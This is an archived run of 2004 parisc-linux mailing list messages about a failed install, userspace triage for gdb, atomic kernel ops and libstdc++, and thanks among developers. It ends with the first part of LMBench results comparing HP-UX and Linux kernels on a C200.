Mime-Version: 1.0
Content-Type: multipart/alternative;
	boundary="----=_NextPart_000_0017_01C3D43A.C77C9C50"
X-Trace: ger.gmane.org 1416623107 4322 80.91.229.3 (22 Nov 2014 02:25:07 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:25:07 +0000 (UTC)
To: <parisc-linux@lists.parisc-linux.org>
Original-X-From: nitephyre@iinet.net.au  Mon Jan  5 16:52:54 2004
Return-Path: <nitephyre@iinet.net.au>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from mail.iinet.net.au (mail-03.iinet.net.au [203.59.3.35])
	by dsl2.external.hp.com (Postfix) with SMTP id C14CB4840
	for <parisc-linux@lists.parisc-linux.org>;
	Mon,  5 Jan 2004 16:52:52 -0700 (MST)
Original-Received: (qmail 21384 invoked from network); 5 Jan 2004 23:52:45 -0000
Original-Received: from unknown (HELO nitephyre) (203.173.22.117)
	by mail.iinet.net.au with SMTP; 5 Jan 2004 23:52:44 -0000
X-Priority: 3
X-MSMail-Priority: Normal
X-Mailer: Microsoft Outlook Express 5.50.4927.1200
X-MimeOLE: Produced By Microsoft MimeOLE V5.50.4927.1200
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.3
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
X-List-Received-Date: Mon, 05 Jan 2004 23:52:54 -0000
Xref: news.gmane.org gmane.linux.ports.parisc:20563

This is a multi-part message in MIME format.

------=_NextPart_000_0017_01C3D43A.C77C9C50
Content-Type: text/plain;
	charset="iso-8859-1"
Content-Transfer-Encoding: quoted-printable

hmm... okay then... so it -should- work.. but it didnt...=20

is there any other linux that will work on pa-risc?
  ----- Original Message -----=20
  From: Grant Grundler=20
  To: Matt Lewis=20
  Cc: parisc-linux@lists.parisc-linux.org=20
  Sent: Tuesday, January 06, 2004 4:24 AM
  Subject: Re: [parisc-linux] Probem Installing: slang(version).deb =
corrupt


  On Mon, Jan 05, 2004 at 06:01:30PM +1000, Matt Lewis wrote:
  > =
ftp.parisc-linux.org/cd-images/testing/auto-isos/isos/palinux-2.4.21-pa6-=
20030718-netinst.iso

  Matt,
  that should be sufficient to do an install.


  Thibaut/ESIEE,
  Any chance someone could roll ISOs which uses 2.4.23+memremap+rtc =
fixes?
  lamont is building a new 2.4.23 debian kernel you could use.

  and I noticed:
  You are now connected to:
  Linux greg 2.4.18-pa45 #3 Mon Jul 1 10:45:09 CEST 2002 parisc =
GNU/Linux=20

  2.4.18 has lots of security holes.
  I suggest you guys update those systems before bad things happen.

  thanks,
  grant


------=_NextPart_000_0017_01C3D43A.C77C9C50
Content-Type: text/html;
	charset="iso-8859-1"
Content-Transfer-Encoding: quoted-printable

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN">
<HTML><HEAD>
<META content=3D"text/html; charset=3Diso-8859-1" =
http-equiv=3DContent-Type>
<META content=3D"MSHTML 5.00.3810.1700" name=3DGENERATOR>
<STYLE></STYLE>
</HEAD>
<BODY bgColor=3D#ffffff>
<DIV><FONT face=3DArial size=3D2>hmm... okay then... so it -should- =
work.. but it=20
didnt... </FONT></DIV>
<DIV>&nbsp;</DIV>
<DIV><FONT face=3DArial size=3D2>is there any other linux that will work =
on=20
pa-risc?</FONT></DIV>
<BLOCKQUOTE=20
style=3D"BORDER-LEFT: #000000 2px solid; MARGIN-LEFT: 5px; MARGIN-RIGHT: =
0px; PADDING-LEFT: 5px; PADDING-RIGHT: 0px">
  <DIV style=3D"FONT: 10pt arial">----- Original Message ----- </DIV>
  <DIV=20
  style=3D"BACKGROUND: #e4e4e4; FONT: 10pt arial; font-color: =
black"><B>From:</B>=20
  <A href=3D"mailto:grundler@parisc-linux.org"=20
  title=3Dgrundler@parisc-linux.org>Grant Grundler</A> </DIV>
  <DIV style=3D"FONT: 10pt arial"><B>To:</B> <A=20
  href=3D"mailto:nitephyre@iinet.net.au" =
title=3Dnitephyre@iinet.net.au>Matt=20
  Lewis</A> </DIV>
  <DIV style=3D"FONT: 10pt arial"><B>Cc:</B> <A=20
  href=3D"mailto:parisc-linux@lists.parisc-linux.org"=20
  =
title=3Dparisc-linux@lists.parisc-linux.org>parisc-linux@lists.parisc-lin=
ux.org</A>=20
  </DIV>
  <DIV style=3D"FONT: 10pt arial"><B>Sent:</B> Tuesday, January 06, 2004 =
4:24=20
  AM</DIV>
  <DIV style=3D"FONT: 10pt arial"><B>Subject:</B> Re: [parisc-linux] =
Probem=20
  Installing: slang(version).deb corrupt</DIV>
  <DIV><BR></DIV>On Mon, Jan 05, 2004 at 06:01:30PM +1000, Matt Lewis=20
  wrote:<BR>&gt; <A=20
  =
href=3D"ftp://ftp.parisc-linux.org/cd-images/testing/auto-isos/isos/palin=
ux-2.4.21-pa6-20030718-netinst.iso">ftp.parisc-linux.org/cd-images/testin=
g/auto-isos/isos/palinux-2.4.21-pa6-20030718-netinst.iso</A><BR><BR>Matt,=
<BR>that=20
  should be sufficient to do an =
install.<BR><BR><BR>Thibaut/ESIEE,<BR>Any chance=20
  someone could roll ISOs which uses 2.4.23+memremap+rtc =
fixes?<BR>lamont is=20
  building a new 2.4.23 debian kernel you could use.<BR><BR>and I=20
  noticed:<BR>You are now connected to:<BR>Linux greg 2.4.18-pa45 #3 Mon =
Jul 1=20
  10:45:09 CEST 2002 parisc GNU/Linux <BR><BR>2.4.18 has lots of =
security=20
  holes.<BR>I suggest you guys update those systems before bad things=20
  happen.<BR><BR>thanks,<BR>grant<BR></BLOCKQUOTE></BODY></HTML>

------=_NextPart_000_0017_01C3D43A.C77C9C50--



From - Thu Nov 08 21:30:34 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Christopher Strong <strong@cs.utah.edu>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Re: [Status] hppa's userspace in 2004 (looking
	back)
Date: Mon, 5 Jan 2004 17:00:48 -0700 (MST)
Lines: 19
Approved: news@gmane.org
Message-ID: <Pine.LNX.4.43L0.0401051658110.30297-100000@charity.cs.utah.edu>
References: <200401052245.26060.deller@gmx.de>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Trace: ger.gmane.org 1416623107 4325 80.91.229.3 (22 Nov 2014 02:25:07 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:25:07 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: strong@cs.utah.edu  Mon Jan  5 17:00:48 2004
Return-Path: <strong@cs.utah.edu>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from mail-svr1.cs.utah.edu (brahma.cs.utah.edu [155.99.198.200])
	by dsl2.external.hp.com (Postfix) with ESMTP id AAF394840
	for <parisc-linux@lists.parisc-linux.org>;
	Mon,  5 Jan 2004 17:00:48 -0700 (MST)
Original-Received: from charity.cs.utah.edu (charity.cs.utah.edu [155.98.65.141])
	by mail-svr1.cs.utah.edu (Postfix) with ESMTP id 3F317346DE
	for <parisc-linux@lists.parisc-linux.org>;
	Mon,  5 Jan 2004 17:00:48 -0700 (MST)
Original-Received: by charity.cs.utah.edu (Postfix, from userid 4516)
	id 2B7713C05B; Mon,  5 Jan 2004 17:00:48 -0700 (MST)
Original-Received: from localhost (localhost [127.0.0.1])
	by charity.cs.utah.edu (Postfix) with ESMTP id 202E73C05A
	for <parisc-linux@lists.parisc-linux.org>;
	Mon,  5 Jan 2004 17:00:48 -0700 (MST)
In-Reply-To: <200401052245.26060.deller@gmx.de>
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.3
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
X-List-Received-Date: Tue, 06 Jan 2004 00:00:49 -0000
Xref: news.gmane.org gmane.linux.ports.parisc:20564



> > Carlos, thank you for all the work you've put in over the last year
> > and more.  We would be significantly worse off without your efforts.
> > I'm sure many people who read this aren't aware just how much work you've
> > put in to make PA/Linux as good as it is -- and that's a compliment.

Same here; there are still a lot of issues with my C3000, but that does
not mean it's not great; the machine runs and is stable, even with the
USB and frame buffer issues.  Totally stable.  I am VERY PLEASED with
the progress that has been made on HPPA linux; this machine is now one
I depend on, because I know I can.

Thanks for all the work.

-Chris




From - Thu Nov 08 21:30:34 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Carlos O'Donell <carlos@baldric.uwo.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Re: [Status] hppa's userspace in 2004 (looking
	back)
Date: Tue, 6 Jan 2004 00:32:40 -0500
Lines: 16
Approved: news@gmane.org
Message-ID: <20040106053240.GB14464@systemhalted>
References: <200401052245.26060.deller@gmx.de>
	<Pine.LNX.4.43L0.0401051658110.30297-100000@charity.cs.utah.edu>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416623108 4328 80.91.229.3 (22 Nov 2014 02:25:08 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:25:08 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Christopher Strong <strong@cs.utah.edu>
Original-X-From: carlos@baldric.uwo.ca  Mon Jan  5 22:40:56 2004
Return-Path: <carlos@baldric.uwo.ca>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from baldric (baldric.uwo.ca [129.100.10.225])
	by dsl2.external.hp.com (Postfix) with ESMTP id C2D384840
	for <parisc-linux@lists.parisc-linux.org>;
	Mon,  5 Jan 2004 22:40:56 -0700 (MST)
Original-Received: from carlos by baldric with local (Exim 3.35 #1 (Debian))
	id 1AdjpZ-0003mH-00; Tue, 06 Jan 2004 00:32:41 -0500
Content-Disposition: inline
In-Reply-To: <Pine.LNX.4.43L0.0401051658110.30297-100000@charity.cs.utah.edu>
User-Agent: Mutt/1.3.28i
X-Useless-Header: listen, love, accept, mindfullness, patience, and humility. 
X-Mailer: Neural Implant (51% Sync Ratio [=====.....])
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.3
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
X-List-Received-Date: Tue, 06 Jan 2004 05:40:57 -0000
Xref: news.gmane.org gmane.linux.ports.parisc:20565

On Mon, Jan 05, 2004 at 05:00:48PM -0700, Christopher Strong wrote:
> Same here; there are still a lot of issues with my C3000, but that does
> not mean it's not great; the machine runs and is stable, even with the
> USB and frame buffer issues.  Totally stable.  I am VERY PLEASED with
> the progress that has been made on HPPA linux; this machine is now one
> I depend on, because I know I can.
> 
> Thanks for all the work.

Thanks guys! The learning process is worth it's weight in gold :)
I'm always glad to hear people rely on their parisc-linux machines to
get work done. Hey, my c3k runs all the home accounts in the lab!

c.



From - Thu Nov 08 21:30:34 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Carlos O'Donell <carlos@baldric.uwo.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] [Status] hppa's userspace in 2004 (looking back)
Date: Tue, 6 Jan 2004 00:39:25 -0500
Lines: 20
Approved: news@gmane.org
Message-ID: <20040106053924.GC14464__43437.1507996277$1416623108$gmane$org@systemhalted>
References: <20040105172146.GE23782@systemhalted>
	<200401051848.i05Imt6p005065@hiauly1.hia.nrc.ca>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416623108 4331 80.91.229.3 (22 Nov 2014 02:25:08 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:25:08 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org, debian-hppa@lists.debian.org
To: John David Anglin <dave@hiauly1.hia.nrc.ca>
Original-X-From: carlos@baldric.uwo.ca  Mon Jan  5 22:47:44 2004
Return-Path: <carlos@baldric.uwo.ca>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from baldric (baldric.uwo.ca [129.100.10.225])
	by dsl2.external.hp.com (Postfix) with ESMTP id 1DE1D48A8
	for <parisc-linux@lists.parisc-linux.org>;
	Mon,  5 Jan 2004 22:47:44 -0700 (MST)
Original-Received: from carlos by baldric with local (Exim 3.35 #1 (Debian))
	id 1Adjw5-0003ni-00; Tue, 06 Jan 2004 00:39:25 -0500
Content-Disposition: inline
In-Reply-To: <200401051848.i05Imt6p005065@hiauly1.hia.nrc.ca>
User-Agent: Mutt/1.3.28i
X-Useless-Header: listen, love, accept, mindfullness, patience, and humility. 
X-Mailer: Neural Implant (51% Sync Ratio [=====.....])
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.3
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
X-List-Received-Date: Tue, 06 Jan 2004 05:47:44 -0000
Xref: news.gmane.org gmane.linux.ports.parisc:20566

On Mon, Jan 05, 2004 at 01:48:54PM -0500, John David Anglin wrote:
> As usual, I expect there will be many ups and downs in the process.
> So, we won't get as far as we would like.
> 
> > jda, you mentioned that the libstdc++ testsuite could be examined in
> > order to fix some of our failures.
> 
> Yes, these need to be looked at before 3.4 is released.  Some appear
> to be related to long double support.  Just guessing, but I think the
> rest are locale or glibc related.

Does this seem like a reasonable triage list?

a. gdb.
b. atomic kernel ops.
c. libstdc++ failures.

c.



From - Thu Nov 08 21:30:34 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "John David Anglin" <dave@hiauly1.hia.nrc.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] [Status] hppa's userspace in 2004 (looking back)
Date: Tue, 6 Jan 2004 01:16:44 -0500 (EST)
Lines: 22
Approved: news@gmane.org
Message-ID: <200401060616.i066GiBR007413__29604.4745985002$1416623108$gmane$org@hiauly1.hia.nrc.ca>
References: <20040106053924.GC14464@systemhalted>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416623108 4337 80.91.229.3 (22 Nov 2014 02:25:08 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:25:08 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org, debian-hppa@lists.debian.org
To: carlos@baldric.uwo.ca (Carlos O'Donell)
Original-X-From: dave@hiauly1.hia.nrc.ca  Mon Jan  5 23:17:06 2004
Return-Path: <dave@hiauly1.hia.nrc.ca>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from hiauly1.hia.nrc.ca (hiauly1.hia.nrc.ca [132.246.100.193])
	by dsl2.external.hp.com (Postfix) with ESMTP id 08D814840
	for <parisc-linux@lists.parisc-linux.org>;
	Mon,  5 Jan 2004 23:17:06 -0700 (MST)
Original-Received: from hiauly1.hia.nrc.ca (hiauly1.hia.nrc.ca [127.0.0.1] (may be
	forged)) by hiauly1.hia.nrc.ca (8.12.9-20030917/8.12.9) with ESMTP id
	i066GjIc007415; Tue, 6 Jan 2004 01:16:45 -0500 (EST)
Original-Received: (from dave@localhost)
	by hiauly1.hia.nrc.ca (8.12.9-20030917/8.12.9/Submit) id i066GiBR007413;
	Tue, 6 Jan 2004 01:16:44 -0500 (EST)
In-Reply-To: <20040106053924.GC14464@systemhalted> from "Carlos O'Donell" at
	Jan 6, 2004 00:39:25 am
X-Mailer: ELM [version 2.4 PL25]
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.3
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
X-List-Received-Date: Tue, 06 Jan 2004 06:17:06 -0000
Xref: news.gmane.org gmane.linux.ports.parisc:20567

> Does this seem like a reasonable triage list?
> 
> a. gdb.
> b. atomic kernel ops.
> c. libstdc++ failures.

I expect GCC 3.4 is coming in 2-3 months, although there isn't a definite
timeline yet.  Would you like to try to get atomic kernel ops in 2.6.x?
How important is the kernel timeline for this work?  We missed gdb 6.0.
A couple of quick hacks allow 6.0 to build for hppa-linux.  Bug fixes are
another matter.

Probably, the v3 issues involve doing enough research to file a PR if
the problem is generic, fix the problem if it is GCC hppa specific.
If a problem turns out to be glibc/kernel related, we can wait for
a fix ;)

Dave
-- 
J. David Anglin                                  dave.anglin@nrc-cnrc.gc.ca
National Research Council of Canada              (613) 990-0752 (FAX: 952-6602)


From - Thu Nov 08 21:30:34 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Carlos O'Donell <carlos@baldric.uwo.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] [Status] hppa's userspace in 2004 (looking back)
Date: Tue, 6 Jan 2004 10:48:59 -0500
Lines: 28
Approved: news@gmane.org
Message-ID: <20040106154859.GA18590__33132.1675949313$1416623109$gmane$org@systemhalted>
References: <20040106053924.GC14464@systemhalted>
	<200401060616.i066GiBR007413@hiauly1.hia.nrc.ca>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416623109 4341 80.91.229.3 (22 Nov 2014 02:25:09 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:25:09 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org, debian-hppa@lists.debian.org
To: John David Anglin <dave@hiauly1.hia.nrc.ca>
Original-X-From: carlos@baldric.uwo.ca  Tue Jan  6 08:57:26 2004
Return-Path: <carlos@baldric.uwo.ca>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from baldric (baldric.uwo.ca [129.100.10.225])
	by dsl2.external.hp.com (Postfix) with ESMTP id 158474840
	for <parisc-linux@lists.parisc-linux.org>;
	Tue,  6 Jan 2004 08:57:26 -0700 (MST)
Original-Received: from carlos by baldric with local (Exim 3.35 #1 (Debian))
	id 1AdtS0-0004q7-00; Tue, 06 Jan 2004 10:49:00 -0500
Content-Disposition: inline
In-Reply-To: <200401060616.i066GiBR007413@hiauly1.hia.nrc.ca>
User-Agent: Mutt/1.3.28i
X-Useless-Header: listen, love, accept, mindfullness, patience, and humility. 
X-Mailer: Neural Implant (70% Sync Ratio [=======...])
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.3
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
X-List-Received-Date: Tue, 06 Jan 2004 15:57:26 -0000
Xref: news.gmane.org gmane.linux.ports.parisc:20568

On Tue, Jan 06, 2004 at 01:16:44AM -0500, John David Anglin wrote:
> > Does this seem like a reasonable triage list?
> > 
> > a. gdb.
> > b. atomic kernel ops.
> > c. libstdc++ failures.
> 
> I expect GCC 3.4 is coming in 2-3 months, although there isn't a definite
> timeline yet.  Would you like to try to get atomic kernel ops in 2.6.x?
> How important is the kernel timeline for this work?  We missed gdb 6.0.
> A couple of quick hacks allow 6.0 to build for hppa-linux.  Bug fixes are
> another matter.

No timeline, just icing.
 
> Probably, the v3 issues involve doing enough research to file a PR if
> the problem is generic, fix the problem if it is GCC hppa specific.
> If a problem turns out to be glibc/kernel related, we can wait for
> a fix ;)

I can interleave b,c in order to help you out? :)

80% gdb.
10% atomic ops.
10% libstc++ failures.

c.


From - Thu Nov 08 21:30:34 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Ryan Bradetich <ryan_bradetich@hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] LMBench results on for the C200 for HP-UX 10.20,
	Linux 2.4.24-pa0, and Linux 2.6.0-pa8
Date: Wed, 07 Jan 2004 02:07:46 -0700
Lines: 169
Approved: news@gmane.org
Message-ID: <1073466464.752.112.camel@laptop.bradetich.net>
Reply-To: ryan_bradetich@hp.com
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416623109 4343 80.91.229.3 (22 Nov 2014 02:25:09 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:25:09 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: ryan_bradetich@hp.com  Wed Jan  7 02:08:21 2004
Return-Path: <ryan_bradetich@hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from beavis.ybsoft.com (bradetich.net [209.161.7.161])
	by dsl2.external.hp.com (Postfix) with ESMTP id 4DD4F4854
	for <parisc-linux@lists.parisc-linux.org>;
	Wed,  7 Jan 2004 02:08:20 -0700 (MST)
Original-Received: from 6-allhosts (unknown [10.0.230.2])
	by beavis.ybsoft.com (Postfix) with ESMTP id D5DD92B10E
	for <parisc-linux@lists.parisc-linux.org>;
	Wed,  7 Jan 2004 02:08:16 -0700 (MST)
X-Mailer: Ximian Evolution 1.4.5 
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.3
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
X-List-Received-Date: Wed, 07 Jan 2004 09:08:21 -0000
Xref: news.gmane.org gmane.linux.ports.parisc:20569

Hello all,

Thought people might be intersted in the LMBench results between HP-UX
10.20, Linux 2.4 and Linux 2.6.  All tests were performed on the same 
hardware and not optomized in any way for the tests.

Thanks,

- Ryan


                 L M B E N C H  2 . 0   S U M M A R Y
                 ------------------------------------


Basic system parameters
----------------------------------------------------
Host                 OS Description              Mhz
                                                    
--------- ------------- ----------------------- ----
vega      HP-UX B.10.20    hppa2.0-hp-hpux10.20  200
vega      HP-UX B.10.20    hppa2.0-hp-hpux10.20  200
vega      HP-UX B.10.20    hppa2.0-hp-hpux10.20  200
vega      Linux 2.6.0-p       hppa2.0-linux-gnu  200
vega      Linux 2.6.0-p       hppa2.0-linux-gnu  200
vega      Linux 2.6.0-p       hppa2.0-linux-gnu  200
vega      Linux 2.4.24-       hppa2.0-linux-gnu  200
vega      Linux 2.4.24-       hppa2.0-linux-gnu  200
vega      Linux 2.4.24-       hppa2.0-linux-gnu  200

Processor, Processes - times in microseconds - smaller is better
----------------------------------------------------------------
Host                 OS  Mhz null null      open selct sig  sig  fork
exec sh  
                             call  I/O stat clos TCP   inst hndl proc
proc proc
--------- ------------- ---- ---- ---- ---- ---- ----- ---- ---- ----
---- ----
vega      HP-UX B.10.20  200 0.83      26.1 36.0 200.6 7.97 30.2 1905
5220 19.K
vega      HP-UX B.10.20  200 0.83      24.5 36.0 147.4 7.92 30.0 1910
5133 19.K
vega      HP-UX B.10.20  200 0.83      24.3 36.3 145.0 7.90 29.9 1924
5258 19.K
vega      Linux 2.6.0-p  200 1.46 2.45 14.4 19.3 150.3 5.65 28.9 5353
21.K 66.K
vega      Linux 2.6.0-p  200 1.44 2.43 14.4 18.1       5.63 28.9 5344
21.K 65.K
vega      Linux 2.6.0-p  200 1.46 2.45 14.4 18.1 149.8 5.65 28.8 5492
23.K 65.K
vega      Linux 2.4.24-  200 1.37 2.80 14.7 18.9 148.2 4.96 29.2 10.K
42.K 111K
vega      Linux 2.4.24-  200 1.37 2.80 14.7 18.9 148.0 4.97 29.2 11.K
42.K 111K
vega      Linux 2.4.24-  200 1.37 2.80 14.7 18.9 148.2 4.97 29.0 11.K
42.K 111K

Context switching - times in microseconds - smaller is better
-------------------------------------------------------------
Host                 OS 2p/0K 2p/16K 2p/64K 8p/16K 8p/64K 16p/16K
16p/64K
                        ctxsw  ctxsw  ctxsw ctxsw  ctxsw   ctxsw   ctxsw
--------- ------------- ----- ------ ------ ------ ------ -------
-------
vega      HP-UX B.10.20 9.110   16.3   43.0  421.0  391.6   178.4  
427.5
vega      HP-UX B.10.20 9.510  279.0   19.5   23.1  394.9   168.5  
429.3
vega      HP-UX B.10.20 9.230   10.1 1678.0  365.8  363.0    50.4  
428.4
vega      Linux 2.6.0-p 4.830   43.9  163.9   56.1  187.4    60.1  
189.0
vega      Linux 2.6.0-p 4.530   47.2  164.7   58.1  185.7    59.7  
187.3
vega      Linux 2.6.0-p 5.670   45.2  163.5   57.8  193.7    59.1  
190.1
vega      Linux 2.4.24- 2.120   42.5  159.7   52.6  181.0    54.2  
182.3
vega      Linux 2.4.24- 3.490   42.0  163.5   52.9  182.2    55.3  
184.7
vega      Linux 2.4.24- 3.410   42.6  159.6   52.0  182.1    54.9  
184.3

*Local* Communication latencies in microseconds - smaller is better
-------------------------------------------------------------------
Host                 OS 2p/0K  Pipe AF     UDP  RPC/   TCP  RPC/ TCP
                        ctxsw       UNIX         UDP         TCP conn
--------- ------------- ----- ----- ---- ----- ----- ----- ----- ----
vega      HP-UX B.10.20 9.110  48.7 78.7 117.6 500.2 127.5 300.2 313.
vega      HP-UX B.10.20 9.510  47.0 65.6 115.0 464.2 166.3 734.1 284.
vega      HP-UX B.10.20 9.230  47.9 77.5 112.4 506.4 127.1 325.6 300.
vega      Linux 2.6.0-p 4.830  36.9 53.3  80.7 235.8 109.6 251.7 490.
vega      Linux 2.6.0-p 4.530  31.7 53.5 140.2 230.2 108.0 286.3 469.
vega      Linux 2.6.0-p 5.670  36.6 54.0 143.1 232.5 107.9 283.5 483.
vega      Linux 2.4.24- 2.120  57.1 46.4  73.5 226.9  93.5 300.2 9958
vega      Linux 2.4.24- 3.490  60.7 46.3  73.2 238.7  97.0 299.6 9957
